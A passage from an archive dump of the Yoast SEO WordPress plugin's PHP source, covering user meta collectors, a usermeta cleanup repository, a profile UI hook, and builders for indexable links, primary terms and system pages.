	 * Renders the custom meta's field in the user form.
	 *
	 * @param int $user_id The user ID.
	 *
	 * @return void
	 */
	public function render_field( $user_id ): void {
		echo '

		<label for="' . \esc_attr( $this->get_field_id() ) . '">'
			. \esc_html__( 'Title to use for Author page', 'wordpress-seo' )
		. '</label>';

		echo '

		<input
			class="yoast-settings__text regular-text"
			type="text" id="' . \esc_attr( $this->get_field_id() ) . '"
			name="' . \esc_attr( $this->get_field_id() ) . '"
			value="' . \esc_attr( $this->get_value( $user_id ) )
		. '"/><br>';
	}
}
wordpress-seo/src/user-meta/application/additional-contactmethods-collector.php000064400000004565147510273100024210 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\Application;

use Yoast\WP\SEO\User_Meta\Domain\Additional_Contactmethod_Interface;

/**
 * The collector to get additional contactmethods.
 *
 * @makePublic
 */
class Additional_Contactmethods_Collector {

	/**
	 * All additional contactmethods.
	 *
	 * @var array<Additional_Contactmethod_Interface> $additional_contactmethods
	 */
	private $additional_contactmethods;

	/**
	 * The constructor.
	 *
	 * @param Additional_Contactmethod_Interface ...$additional_contactmethods All additional contactmethods.
	 */
	public function __construct( Additional_Contactmethod_Interface ...$additional_contactmethods ) {
		$this->additional_contactmethods = $additional_contactmethods;
	}

	/**
	 * Returns all the additional contactmethods.
	 *
	 * @return array<Additional_Contactmethod_Interface> All the additional contactmethods.
	 */
	public function get_additional_contactmethods(): array {
		$additional_contactmethods = $this->additional_contactmethods;

		/**
		 * Filter: Adds the possibility to add more additional contactmethods in the user profile.
		 *
		 * @param array<Additional_Contactmethod_Interface> $additional_contactmethods Array with additional contact method classes.
		 */
		return \apply_filters( 'wpseo_additional_contactmethods', $additional_contactmethods );
	}

	/**
	 * Returns the additional contactmethods key/value pairs.
	 *
	 * @return array<string, string> The additional contactmethods key/value pairs.
	 */
	public function get_additional_contactmethods_objects(): array {
		$additional_contactmethods_objects = [];
		$additional_contactmethods         = $this->get_additional_contactmethods();

		foreach ( $additional_contactmethods as $additional_contactmethod ) {
			$additional_contactmethods_objects[ $additional_contactmethod->get_key() ] = $additional_contactmethod->get_label();
		}

		return $additional_contactmethods_objects;
	}

	/**
	 * Returns the additional contactmethods keys.
	 *
	 * @return array<string> The additional contactmethods keys.
	 */
	public function get_additional_contactmethods_keys(): array {
		$additional_contactmethods_keys = [];
		$additional_contactmethods      = $this->get_additional_contactmethods();

		foreach ( $additional_contactmethods as $additional_contactmethod ) {
			$additional_contactmethods_keys[] = $additional_contactmethod->get_key();
		}

		return $additional_contactmethods_keys;
	}
}
wordpress-seo/src/user-meta/application/custom-meta-collector.php000064400000003113147510273100021305 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\Application;

use Yoast\WP\SEO\User_Meta\Domain\Custom_Meta_Interface;

/**
 * The collector to get custom user meta.
 *
 * @makePublic
 */
class Custom_Meta_Collector {

	/**
	 * All custom meta.
	 *
	 * @var array<Custom_Meta_Interface> $custom_meta
	 */
	private $custom_meta;

	/**
	 * The constructor.
	 *
	 * @param Custom_Meta_Interface ...$custom_meta All custom meta.
	 */
	public function __construct( Custom_Meta_Interface ...$custom_meta ) {
		$this->custom_meta = $custom_meta;
	}

	/**
	 * Returns all the custom meta.
	 *
	 * @return array<Custom_Meta_Interface> All the custom meta.
	 */
	public function get_custom_meta(): array {
		return $this->custom_meta;
	}

	/**
	 * Returns all the custom meta, sorted by rendering priority.
	 *
	 * @return array<Custom_Meta_Interface> All the custom meta, sorted by rendering priority.
	 */
	public function get_sorted_custom_meta(): array {
		$custom_meta = $this->get_custom_meta();

		\usort(
			$custom_meta,
			static function ( Custom_Meta_Interface $a, Custom_Meta_Interface $b ) {
				return ( $a->get_render_priority() <=> $b->get_render_priority() );
			}
		);

		return $custom_meta;
	}

	/**
	 * Returns the custom meta that can't be empty.
	 *
	 * @return array<string> The custom meta that can't be empty.
	 */
	public function get_non_empty_custom_meta(): array {
		$non_empty_custom_meta = [];
		foreach ( $this->custom_meta as $custom_meta ) {
			if ( ! $custom_meta->is_empty_allowed() ) {
				$non_empty_custom_meta[] = $custom_meta->get_key();
			}
		}

		return $non_empty_custom_meta;
	}
}
wordpress-seo/src/user-meta/application/cleanup-service.php000064400000004551147510273100020157 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\Application;

use Yoast\WP\SEO\User_Meta\Infrastructure\Cleanup_Repository;

/**
 * Service with all usermeta cleanup queries.
 */
class Cleanup_Service {

	/**
	 * The additional contactmethods collector.
	 *
	 * @var Additional_Contactmethods_Collector $additional_contactmethods_collector The additional contactmethods collector.
	 */
	private $additional_contactmethods_collector;

	/**
	 * The custom meta collector.
	 *
	 * @var Custom_Meta_Collector $custom_meta_collector The custom meta collector.
	 */
	private $custom_meta_collector;

	/**
	 * The cleanup repository.
	 *
	 * @var Cleanup_Repository $custom_meta_collector The custom meta repository.
	 */
	private $cleanup_repository;

	/**
	 * The constructor.
	 *
	 * @param Additional_Contactmethods_Collector $additional_contactmethods_collector The additional contactmethods collector.
	 * @param Custom_Meta_Collector               $custom_meta_collector               The custom meta collector.
	 * @param Cleanup_Repository                  $cleanup_repository                  The cleanup repository.
	 */
	public function __construct(
		Additional_Contactmethods_Collector $additional_contactmethods_collector,
		Custom_Meta_Collector $custom_meta_collector,
		Cleanup_Repository $cleanup_repository
	) {
		$this->additional_contactmethods_collector = $additional_contactmethods_collector;
		$this->custom_meta_collector               = $custom_meta_collector;
		$this->cleanup_repository                  = $cleanup_repository;
	}

	/**
	 * Deletes selected empty usermeta.
	 *
	 * @param int $limit The limit we'll apply to the cleanups.
	 *
	 * @return int|bool The number of rows that was deleted or false if the query failed.
	 */
	public function cleanup_selected_empty_usermeta( int $limit ) {
		$meta_to_check = $this->get_meta_to_check();

		return $this->cleanup_repository->delete_empty_usermeta_query( $meta_to_check, $limit );
	}

	/**
	 * Gets which meta are going to be checked for emptiness.
	 *
	 * @return array<string> The meta to be checked for emptiness.
	 */
	private function get_meta_to_check() {
		$additional_contactmethods = $this->additional_contactmethods_collector->get_additional_contactmethods_keys();
		$custom_meta               = $this->custom_meta_collector->get_non_empty_custom_meta();

		return \array_merge( $additional_contactmethods, $custom_meta );
	}
}
wordpress-seo/src/user-meta/infrastructure/cleanup-repository.php000064400000002464147510273100021514 0ustar00<?php

namespace Yoast\WP\SEO\User_Meta\Infrastructure;

/**
 * Repository going into the database to clean up.
 */
class Cleanup_Repository {

	/**
	 * Deletes empty usermeta based on their meta_keys and returns the number of the deleted meta.
	 *
	 * @param array<string> $meta_keys The meta to be potentially deleted.
	 * @param int           $limit     The number of maximum deletions.
	 *
	 * @return int|false The number of rows that was deleted or false if the query failed.
	 */
	public function delete_empty_usermeta_query( $meta_keys, $limit ) {
		global $wpdb;

		// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
		$delete_query = $wpdb->prepare(
			'DELETE FROM %i
			WHERE meta_key IN ( ' . \implode( ', ', \array_fill( 0, \count( $meta_keys ), '%s' ) ) . ' )
			AND meta_value = ""
			ORDER BY user_id
			LIMIT %d',
			\array_merge( [ $wpdb->usermeta ], $meta_keys, [ $limit ] )
		);
		// phpcs:enable

		// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
		// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
		// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
		return $wpdb->query( $delete_query );
		// phpcs:enable
	}
}
wordpress-seo/src/user-profiles-additions/user-interface/user-profiles-additions-ui.php000064400000004330147510273100025535 0ustar00<?php

namespace Yoast\WP\SEO\User_Profiles_Additions\User_Interface;

use WP_User;
use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\User_Profile_Conditional;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;

/**
 * Adds a new hook in the user profiles edit screen to add content.
 */
class User_Profiles_Additions_Ui implements Integration_Interface {

	/**
	 * Holds the Product_Helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the WPSEO_Admin_Asset_Manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $asset_manager;

	/**
	 * Constructs Academy_Integration.
	 *
	 * @param WPSEO_Admin_Asset_Manager $asset_manager  The WPSEO_Admin_Asset_Manager.
	 * @param Product_Helper            $product_helper The Product_Helper.
	 */
	public function __construct(
		WPSEO_Admin_Asset_Manager $asset_manager,
		Product_Helper $product_helper
	) {
		$this->asset_manager  = $asset_manager;
		$this->product_helper = $product_helper;
	}

	/**
	 * Returns the conditionals based in which this loadable should be active.
	 *
	 * @return array
	 */
	public static function get_conditionals() {
		return [ User_Profile_Conditional::class ];
	}

	/**
	 * Initializes the integration.
	 *
	 * This is the place to register hooks and filters.
	 *
	 * @return void
	 */
	public function register_hooks() {
		\add_action( 'show_user_profile', [ $this, 'add_hook_to_user_profile' ] );
		\add_action( 'edit_user_profile', [ $this, 'add_hook_to_user_profile' ] );
	}

	/**
	 * Enqueues the assets needed for this integration.
	 *
	 * @return void
	 */
	public function enqueue_assets() {
		if ( $this->product_helper->is_premium() ) {
			$this->asset_manager->enqueue_style( 'introductions' );
		}
	}

	/**
	 * Add the inputs needed for SEO values to the User Profile page.
	 *
	 * @param WP_User $user User instance to output for.
	 *
	 * @return void
	 */
	public function add_hook_to_user_profile( $user ) {
		$this->enqueue_assets();
		echo '<div class="yoast yoast-settings">';

		/**
		 * Fires in the user profile.
		 *
		 * @internal
		 *
		 * @param WP_User $user The current WP_User object.
		 */
		\do_action( 'wpseo_user_profile_additions', $user );
		echo '</div>';
	}
}
wordpress-seo/src/builders/indexable-link-builder.php000064400000043550147510273100017012 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use WPSEO_Image_Utils;
use Yoast\WP\SEO\Helpers\Image_Helper;
use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Helpers\Post_Helper;
use Yoast\WP\SEO\Helpers\Url_Helper;
use Yoast\WP\SEO\Images\Application\Image_Content_Extractor;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Models\SEO_Links;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Repositories\SEO_Links_Repository;

/**
 * Indexable link builder.
 */
class Indexable_Link_Builder {

	/**
	 * The SEO links repository.
	 *
	 * @var SEO_Links_Repository
	 */
	protected $seo_links_repository;

	/**
	 * The url helper.
	 *
	 * @var Url_Helper
	 */
	protected $url_helper;

	/**
	 * The image helper.
	 *
	 * @var Image_Helper
	 */
	protected $image_helper;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	protected $indexable_helper;

	/**
	 * The post helper.
	 *
	 * @var Post_Helper
	 */
	protected $post_helper;

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * Class that finds all images in a content string and extracts them.
	 *
	 * @var Image_Content_Extractor
	 */
	private $image_content_extractor;

	/**
	 * Indexable_Link_Builder constructor.
	 *
	 * @param SEO_Links_Repository $seo_links_repository The SEO links repository.
	 * @param Url_Helper           $url_helper           The URL helper.
	 * @param Post_Helper          $post_helper          The post helper.
	 * @param Options_Helper       $options_helper       The options helper.
	 * @param Indexable_Helper     $indexable_helper     The indexable helper.
	 */
	public function __construct(
		SEO_Links_Repository $seo_links_repository,
		Url_Helper $url_helper,
		Post_Helper $post_helper,
		Options_Helper $options_helper,
		Indexable_Helper $indexable_helper,
		Image_Content_Extractor $image_content_extractor
	) {
		$this->seo_links_repository    = $seo_links_repository;
		$this->url_helper              = $url_helper;
		$this->post_helper             = $post_helper;
		$this->options_helper          = $options_helper;
		$this->indexable_helper        = $indexable_helper;
		$this->image_content_extractor = $image_content_extractor;
	}

	/**
	 * Sets the indexable repository.
	 *
	 * @required
	 *
	 * @param Indexable_Repository $indexable_repository The indexable repository.
	 * @param Image_Helper         $image_helper         The image helper.
	 *
	 * @return void
	 */
	public function set_dependencies(
		Indexable_Repository $indexable_repository,
		Image_Helper $image_helper
	) {
		$this->indexable_repository = $indexable_repository;
		$this->image_helper         = $image_helper;
	}

	/**
	 * Builds the links for a post.
	 *
	 * @param Indexable $indexable The indexable.
	 * @param string    $content   The content. Expected to be unfiltered.
	 *
	 * @return SEO_Links[] The created SEO links.
	 */
	public function build( $indexable, $content ) {
		if ( ! $this->indexable_helper->should_index_indexable( $indexable ) ) {
			return [];
		}

		global $post;
		if ( $indexable->object_type === 'post' ) {
			$post_backup = $post;
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly.
			$post = $this->post_helper->get_post( $indexable->object_id );
			\setup_postdata( $post );
			$content = \apply_filters( 'the_content', $content );
			\wp_reset_postdata();
			// phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited -- To setup the post we need to do this explicitly.
			$post = $post_backup;
		}

		$content = \str_replace( ']]>', ']]&gt;', $content );
		$links   = $this->gather_links( $content );
		$images  = $this->image_content_extractor->gather_images( $content );

		if ( empty( $links ) && empty( $images ) ) {
			$indexable->link_count = 0;
			$this->update_related_indexables( $indexable, [] );

			return [];
		}

		if ( ! empty( $images ) && ( $indexable->open_graph_image_source === 'first-content-image' || $indexable->twitter_image_source === 'first-content-image' ) ) {
			$this->update_first_content_image( $indexable, $images );
		}

		$links = $this->create_links( $indexable, $links, $images );

		$this->update_related_indexables( $indexable, $links );

		$indexable->link_count = $this->get_internal_link_count( $links );

		return $links;
	}

	/**
	 * Deletes all SEO links for an indexable.
	 *
	 * @param Indexable $indexable The indexable.
	 *
	 * @return void
	 */
	public function delete( $indexable ) {
		$links = ( $this->seo_links_repository->find_all_by_indexable_id( $indexable->id ) );
		$this->seo_links_repository->delete_all_by_indexable_id( $indexable->id );

		$linked_indexable_ids = [];
		foreach ( $links as $link ) {
			if ( $link->target_indexable_id ) {
				$linked_indexable_ids[] = $link->target_indexable_id;
			}
		}

		$this->update_incoming_links_for_related_indexables( $linked_indexable_ids );
	}

	/**
	 * Fixes existing SEO links that are supposed to have a target indexable but don't, because of prior indexable
	 * cleanup.
	 *
	 * @param Indexable $indexable The indexable to be the target of SEO Links.
	 *
	 * @return void
	 */
	public function patch_seo_links( Indexable $indexable ) {
		if ( ! empty( $indexable->id ) && ! empty( $indexable->object_id ) ) {
			$links = $this->seo_links_repository->find_all_by_target_post_id( $indexable->object_id );

			$updated_indexable = false;
			foreach ( $links as $link ) {
				if ( \is_a( $link, SEO_Links::class ) && empty( $link->target_indexable_id ) ) {
					// Since that post ID exists in an SEO link but has no target_indexable_id, it's probably because of prior indexable cleanup.
					$this->seo_links_repository->update_target_indexable_id( $link->id, $indexable->id );
					$updated_indexable = true;
				}
			}

			if ( $updated_indexable ) {
				$updated_indexable_id = [ $indexable->id ];
				$this->update_incoming_links_for_related_indexables( $updated_indexable_id );
			}
		}
	}

	/**
	 * Gathers all links from content.
	 *
	 * @param string $content The content.
	 *
	 * @return string[] An array of urls.
	 */
	protected function gather_links( $content ) {
		if ( \strpos( $content, 'href' ) === false ) {
			// Nothing to do.
			return [];
		}

		$links  = [];
		$regexp = '<a\s[^>]*href=("??)([^" >]*?)\1[^>]*>';
		// Used modifiers iU to match case insensitive and make greedy quantifiers lazy.
		if ( \preg_match_all( "/$regexp/iU", $content, $matches, \PREG_SET_ORDER ) ) {
			foreach ( $matches as $match ) {
				$links[] = \trim( $match[2], "'" );
			}
		}

		return $links;
	}

	/**
	 * Creates link models from lists of URLs and image sources.
	 *
	 * @param Indexable $indexable The indexable.
	 * @param string[]  $links     The link URLs.
	 * @param int[]     $images    The image sources.
	 *
	 * @return SEO_Links[] The link models.
	 */
	protected function create_links( $indexable, $links, $images ) {
		$home_url    = \wp_parse_url( \home_url() );
		$current_url = \wp_parse_url( $indexable->permalink );
		$links       = \array_map(
			function ( $link ) use ( $home_url, $indexable ) {
				return $this->create_internal_link( $link, $home_url, $indexable );
			},
			$links
		);
		// Filter out links to the same page with a fragment or query.
		$links = \array_filter(
			$links,
			function ( $link ) use ( $current_url ) {
				return $this->filter_link( $link, $current_url );
			}
		);

		$image_links = [];
		foreach ( $images as $image_url => $image_id ) {
			$image_links[] = $this->create_internal_link( $image_url, $home_url, $indexable, true, $image_id );
		}

		return \array_merge( $links, $image_links );
	}

	/**
	 * Get the post ID based on the link's type and its target's permalink.
	 *
	 * @param string $type      The type of link (either SEO_Links::TYPE_INTERNAL or SEO_Links::TYPE_INTERNAL_IMAGE).
	 * @param string $permalink The permalink of the link's target.
	 *
	 * @return int The post ID.
	 */
	protected function get_post_id( $type, $permalink ) {
		if ( $type === SEO_Links::TYPE_INTERNAL ) {
			return \url_to_postid( $permalink );
		}

		return $this->image_helper->get_attachment_by_url( $permalink );
	}

	/**
	 * Creates an internal link.
	 *
	 * @param string    $url       The url of the link.
	 * @param array     $home_url  The home url, as parsed by wp_parse_url.
	 * @param Indexable $indexable The indexable of the post containing the link.
	 * @param bool      $is_image  Whether or not the link is an image.
	 * @param int       $image_id  The ID of the internal image.
	 *
	 * @return SEO_Links The created link.
	 */
	protected function create_internal_link( $url, $home_url, $indexable, $is_image = false, $image_id = 0 ) {
		$parsed_url = \wp_parse_url( $url );
		$link_type  = $this->url_helper->get_link_type( $parsed_url, $home_url, $is_image );

		/**
		 * ORM representing a link in the SEO Links table.
		 *
		 * @var SEO_Links $model
		 */
		$model = $this->seo_links_repository->query()->create(
			[
				'url'          => $url,
				'type'         => $link_type,
				'indexable_id' => $indexable->id,
				'post_id'      => $indexable->object_id,
			]
		);

		$model->parsed_url = $parsed_url;

		if ( $model->type === SEO_Links::TYPE_INTERNAL ) {
			$permalink = $this->build_permalink( $url, $home_url );

			return $this->enhance_link_from_indexable( $model, $permalink );
		}

		if ( $model->type === SEO_Links::TYPE_INTERNAL_IMAGE ) {
			$permalink = $this->build_permalink( $url, $home_url );

			/** The `wpseo_force_creating_and_using_attachment_indexables` filter is documented in indexable-link-builder.php */
			if ( ! $this->options_helper->get( 'disable-attachment' ) || \apply_filters( 'wpseo_force_creating_and_using_attachment_indexables', false ) ) {
				$model = $this->enhance_link_from_indexable( $model, $permalink );
			}
			else {
				$target_post_id = ( $image_id !== 0 ) ? $image_id : WPSEO_Image_Utils::get_attachment_by_url( $permalink );

				if ( ! empty( $target_post_id ) ) {
					$model->target_post_id = $target_post_id;
				}
			}

			if ( $model->target_post_id ) {
				$file = \get_attached_file( $model->target_post_id );

				if ( $file ) {
					if ( \file_exists( $file ) ) {
						$model->size = \filesize( $file );
					}
					else {
						$model->size = null;
					}

					[ , $width, $height ] = \wp_get_attachment_image_src( $model->target_post_id, 'full' );
					$model->width         = $width;
					$model->height        = $height;
				}
				else {
					$model->width  = 0;
					$model->height = 0;
					$model->size   = 0;
				}
			}
		}

		return $model;
	}

	/**
	 * Enhances the link model with information from its indexable.
	 *
	 * @param SEO_Links $model     The link's model.
	 * @param string    $permalink The link's permalink.
	 *
	 * @return SEO_Links The enhanced link model.
	 */
	protected function enhance_link_from_indexable( $model, $permalink ) {
		$target = $this->indexable_repository->find_by_permalink( $permalink );

		if ( ! $target ) {
			// If target indexable cannot be found, create one based on the post's post ID.
			$post_id = $this->get_post_id( $model->type, $permalink );
			if ( $post_id && $post_id !== 0 ) {
				$target = $this->indexable_repository->find_by_id_and_type( $post_id, 'post' );
			}
		}

		if ( ! $target ) {
			return $model;
		}

		$model->target_indexable_id = $target->id;
		if ( $target->object_type === 'post' ) {
			$model->target_post_id = $target->object_id;
		}

		if ( $model->target_indexable_id ) {
			$model->language = $target->language;
			$model->region   = $target->region;
		}

		return $model;
	}

	/**
	 * Builds the link's permalink.
	 *
	 * @param string $url      The url of the link.
	 * @param array  $home_url The home url, as parsed by wp_parse_url.
	 *
	 * @return string The link's permalink.
	 */
	protected function build_permalink( $url, $home_url ) {
		$permalink = $this->get_permalink( $url, $home_url );

		if ( $this->url_helper->is_relative( $permalink ) ) {
			// Make sure we're checking against the absolute URL, and add a trailing slash if the site has a trailing slash in its permalink settings.
			$permalink = $this->url_helper->ensure_absolute_url( \user_trailingslashit( $permalink ) );
		}

		return $permalink;
	}

	/**
	 * Filters out links that point to the same page with a fragment or query.
	 *
	 * @param SEO_Links $link        The link.
	 * @param array     $current_url The url of the page the link is on, as parsed by wp_parse_url.
	 *
	 * @return bool Whether or not the link should be filtered.
	 */
	protected function filter_link( SEO_Links $link, $current_url ) {
		$url = $link->parsed_url;

		// Always keep external links.
		if ( $link->type === SEO_Links::TYPE_EXTERNAL ) {
			return true;
		}

		// Always keep links with an empty path or pointing to other pages.
		if ( isset( $url['path'] ) ) {
			return empty( $url['path'] ) || $url['path'] !== $current_url['path'];
		}

		// Only keep links to the current page without a fragment or query.
		return ( ! isset( $url['fragment'] ) && ! isset( $url['query'] ) );
	}

	/**
	 * Updates the link counts for related indexables.
	 *
	 * @param Indexable   $indexable The indexable.
	 * @param SEO_Links[] $links     The link models.
	 *
	 * @return void
	 */
	protected function update_related_indexables( $indexable, $links ) {
		// Old links were only stored by post id, so remove all old seo links for this post that have no indexable id.
		// This can be removed if we ever fully clear all seo links.
		if ( $indexable->object_type === 'post' ) {
			$this->seo_links_repository->delete_all_by_post_id_where_indexable_id_null( $indexable->object_id );
		}

		$updated_indexable_ids = [];
		$old_links             = $this->seo_links_repository->find_all_by_indexable_id( $indexable->id );

		$links_to_remove = $this->links_diff( $old_links, $links );
		$links_to_add    = $this->links_diff( $links, $old_links );

		if ( ! empty( $links_to_remove ) ) {
			$this->seo_links_repository->delete_many_by_id( \wp_list_pluck( $links_to_remove, 'id' ) );
		}

		if ( ! empty( $links_to_add ) ) {
			$this->seo_links_repository->insert_many( $links_to_add );
		}

		foreach ( $links_to_add as $link ) {
			if ( $link->target_indexable_id ) {
				$updated_indexable_ids[] = $link->target_indexable_id;
			}
		}
		foreach ( $links_to_remove as $link ) {
			if ( $link->target_indexable_id ) {
				$updated_indexable_ids[] = $link->target_indexable_id;
			}
		}

		$this->update_incoming_links_for_related_indexables( $updated_indexable_ids );
	}

	/**
	 * Creates a diff between two arrays of SEO links, based on urls.
	 *
	 * @param SEO_Links[] $links_a The array to compare.
	 * @param SEO_Links[] $links_b The array to compare against.
	 *
	 * @return SEO_Links[] Links that are in $links_a, but not in $links_b.
	 */
	protected function links_diff( $links_a, $links_b ) {
		return \array_udiff(
			$links_a,
			$links_b,
			static function ( SEO_Links $link_a, SEO_Links $link_b ) {
				return \strcmp( $link_a->url, $link_b->url );
			}
		);
	}

	/**
	 * Returns the number of internal links in an array of link models.
	 *
	 * @param SEO_Links[] $links The link models.
	 *
	 * @return int The number of internal links.
	 */
	protected function get_internal_link_count( $links ) {
		$internal_link_count = 0;

		foreach ( $links as $link ) {
			if ( $link->type === SEO_Links::TYPE_INTERNAL ) {
				++$internal_link_count;
			}
		}

		return $internal_link_count;
	}

	/**
	 * Returns a cleaned permalink for a given link.
	 *
	 * @param string $link     The raw URL.
	 * @param array  $home_url The home URL, as parsed by wp_parse_url.
	 *
	 * @return string The cleaned permalink.
	 */
	protected function get_permalink( $link, $home_url ) {
		// Get rid of the #anchor.
		$url_split = \explode( '#', $link );
		$link      = $url_split[0];

		// Get rid of URL ?query=string.
		$url_split = \explode( '?', $link );
		$link      = $url_split[0];

		// Set the correct URL scheme.
		$link = \set_url_scheme( $link, $home_url['scheme'] );

		// Add 'www.' if it is absent and should be there.
		if ( \strpos( $home_url['host'], 'www.' ) === 0 && \strpos( $link, '://www.' ) === false ) {
			$link = \str_replace( '://', '://www.', $link );
		}

		// Strip 'www.' if it is present and shouldn't be.
		if ( \strpos( $home_url['host'], 'www.' ) !== 0 ) {
			$link = \str_replace( '://www.', '://', $link );
		}

		return $link;
	}

	/**
	 * Updates incoming link counts for related indexables.
	 *
	 * @param int[] $related_indexable_ids The IDs of all related indexables.
	 *
	 * @return void
	 */
	protected function update_incoming_links_for_related_indexables( $related_indexable_ids ) {
		if ( empty( $related_indexable_ids ) ) {
			return;
		}

		$counts = $this->seo_links_repository->get_incoming_link_counts_for_indexable_ids( $related_indexable_ids );
		if ( \wp_cache_supports( 'flush_group' ) ) {
			\wp_cache_flush_group( 'orphaned_counts' );
		}

		foreach ( $counts as $count ) {
			$this->indexable_repository->update_incoming_link_count( $count['target_indexable_id'], $count['incoming'] );
		}
	}

	/**
	 * Updates the image ids when the indexable images are marked as first content image.
	 *
	 * @param Indexable         $indexable The indexable to change.
	 * @param array<string|int> $images    The image array.
	 *
	 * @return void
	 */
	public function update_first_content_image( Indexable $indexable, array $images ): void {
		$current_open_graph_image = $indexable->open_graph_image;
		$current_twitter_image    = $indexable->twitter_image;

		$first_content_image_url = \key( $images );
		$first_content_image_id  = \current( $images );

		if ( $indexable->open_graph_image_source === 'first-content-image' && $current_open_graph_image === $first_content_image_url && ! empty( $first_content_image_id ) ) {
			$indexable->open_graph_image_id = $first_content_image_id;
		}
		if ( $indexable->twitter_image_source === 'first-content-image' && $current_twitter_image === $first_content_image_url && ! empty( $first_content_image_id ) ) {
			$indexable->twitter_image_id = $first_content_image_id;
		}
	}
}
wordpress-seo/src/builders/primary-term-builder.php000064400000005222147510273100016546 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Helpers\Indexable_Helper;
use Yoast\WP\SEO\Helpers\Meta_Helper;
use Yoast\WP\SEO\Helpers\Primary_Term_Helper;
use Yoast\WP\SEO\Repositories\Primary_Term_Repository;

/**
 * Primary term builder.
 *
 * Creates the primary term for a post.
 */
class Primary_Term_Builder {

	/**
	 * The primary term repository.
	 *
	 * @var Primary_Term_Repository
	 */
	protected $repository;

	/**
	 * The indexable helper.
	 *
	 * @var Indexable_Helper
	 */
	private $indexable_helper;

	/**
	 * The primary term helper.
	 *
	 * @var Primary_Term_Helper
	 */
	private $primary_term;

	/**
	 * The meta helper.
	 *
	 * @var Meta_Helper
	 */
	private $meta;

	/**
	 * Primary_Term_Builder constructor.
	 *
	 * @param Primary_Term_Repository $repository       The primary term repository.
	 * @param Indexable_Helper        $indexable_helper The indexable helper.
	 * @param Primary_Term_Helper     $primary_term     The primary term helper.
	 * @param Meta_Helper             $meta             The meta helper.
	 */
	public function __construct(
		Primary_Term_Repository $repository,
		Indexable_Helper $indexable_helper,
		Primary_Term_Helper $primary_term,
		Meta_Helper $meta
	) {
		$this->repository       = $repository;
		$this->indexable_helper = $indexable_helper;
		$this->primary_term     = $primary_term;
		$this->meta             = $meta;
	}

	/**
	 * Formats and saves the primary terms for the post with the given post id.
	 *
	 * @param int $post_id The post ID.
	 *
	 * @return void
	 */
	public function build( $post_id ) {
		foreach ( $this->primary_term->get_primary_term_taxonomies( $post_id ) as $taxonomy ) {
			$this->save_primary_term( $post_id, $taxonomy->name );
		}
	}

	/**
	 * Save the primary term for a specific taxonomy.
	 *
	 * @param int    $post_id  Post ID to save primary term for.
	 * @param string $taxonomy Taxonomy to save primary term for.
	 *
	 * @return void
	 */
	protected function save_primary_term( $post_id, $taxonomy ) {
		$term_id = $this->meta->get_value( 'primary_' . $taxonomy, $post_id );

		$term_selected          = ! empty( $term_id );
		$primary_term_indexable = $this->repository->find_by_post_id_and_taxonomy( $post_id, $taxonomy, $term_selected );

		// Removes the indexable when no term found.
		if ( ! $term_selected ) {
			if ( $primary_term_indexable ) {
				$primary_term_indexable->delete();
			}

			return;
		}

		$primary_term_indexable->term_id  = $term_id;
		$primary_term_indexable->post_id  = $post_id;
		$primary_term_indexable->taxonomy = $taxonomy;
		$primary_term_indexable->blog_id  = \get_current_blog_id();
		$this->indexable_helper->save_indexable( $primary_term_indexable );
	}
}
wordpress-seo/src/builders/indexable-system-page-builder.php000064400000004155147510273100020311 0ustar00<?php

namespace Yoast\WP\SEO\Builders;

use Yoast\WP\SEO\Helpers\Options_Helper;
use Yoast\WP\SEO\Models\Indexable;
use Yoast\WP\SEO\Values\Indexables\Indexable_Builder_Versions;

/**
 * System page builder for the indexables.
 *
 * Formats system pages ( search and error ) meta to indexable format.
 */
class Indexable_System_Page_Builder {

	/**
	 * Mapping of object type to title option keys.
	 */
	public const OPTION_MAPPING = [
		'search-result' => [
			'title'            => 'title-search-wpseo',
		],
		'404'           => [
			'title'            => 'title-404-wpseo',
			'breadcrumb_title' => 'breadcrumbs-404crumb',
		],
	];

	/**
	 * The options helper.
	 *
	 * @var Options_Helper
	 */
	protected $options;

	/**
	 * The latest version of the Indexable_System_Page_Builder.
	 *
	 * @var int
	 */
	protected $version;

	/**
	 * Indexable_System_Page_Builder constructor.
	 *
	 * @param Options_Helper             $options  The options helper.
	 * @param Indexable_Builder_Versions $versions The latest version of each Indexable Builder.
	 */
	public function __construct(
		Options_Helper $options,
		Indexable_Builder_Versions $versions
	) {
		$this->options = $options;
		$this->version = $versions->get_latest_version_for_type( 'system-page' );
	}

	/**
	 * Formats the data.
	 *
	 * @param string    $object_sub_type The object sub type of the system page.
	 * @param Indexable $indexable       The indexable to format.
	 *
	 * @return Indexable The extended indexable.
	 */
	public function build( $object_sub_type, Indexable $indexable ) {
		$indexable->object_type       = 'system-page';
		$indexable->object_sub_type   = $object_sub_type;
		$indexable->title             = $this->options->get( static::OPTION_MAPPING[ $object_sub_type ]['title'] );
		$indexable->is_robots_noindex = true;
		$indexable->blog_id           = \get_current_blog_id();

		if ( \array_key_exists( 'breadcrumb_title', static::OPTION_MAPPING[ $object_sub_type ] ) ) {
